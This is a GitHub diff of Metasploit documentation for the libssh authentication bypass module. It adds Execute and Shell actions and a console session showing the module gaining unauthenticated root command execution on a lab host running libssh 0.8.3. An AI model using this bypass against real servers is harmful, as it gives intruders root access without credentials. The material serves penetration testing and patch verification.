File tree Expand file tree Collapse file tree 1 file changed +30
-3
lines changed
documentation/modules/auxiliary/scanner/ssh Expand file tree Collapse file tree 1 file changed +30
-3
lines changed Original file line number Diff line number Diff line change @@ -20,13 +20,21 @@ additional code paths to be followed.
20
20
4 . Follow the steps in ` INSTALL ` to build libssh
21
21
5 . Run ` build/examples/ssh_server_fork ` (I like to ` strace ` it)
22
22
23
+ ## Actions
24
+
25
+ ```
26
+ Name Description
27
+ ---- -----------
28
+ Execute Execute a command
29
+ Shell Spawn a shell
30
+ ```
31
+
23
32
## Options
24
33
25
34
** CMD**
26
35
27
- Set this to a command you want to execute in lieu of a standard shell
28
- session. An ` exec ` channel request will be sent instead of a ` shell `
29
- request.
36
+ Set this to a command or shell you want to execute. An ` exec ` channel
37
+ request will be sent instead of a ` shell ` channel request.
30
38
31
39
** SPAWN_PTY**
32
40
76
84
#
77
85
```
78
86
87
+ Positive testing of shell commands using the ` Execute ` action:
88
+
89
+ ```
90
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
91
+ action => Execute
92
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
93
+ cmd => id; uname -a
94
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
95
+
96
+ [*] 172.28.128.3:2222 - Attempting authentication bypass
97
+ [+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
98
+ [*] 172.28.128.3:2222 - Executed: id; uname -a
99
+ uid=0(root) gid=0(root) groups=0(root)
100
+ Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
101
+ [*] Scanned 1 of 1 hosts (100% complete)
102
+ [*] Auxiliary module execution completed
103
+ msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
104
+ ```
105
+
79
106
Negative testing against patched libssh 0.8.4:
80
107
81
108
```
You can’t perform that action at this time.
0 commit comments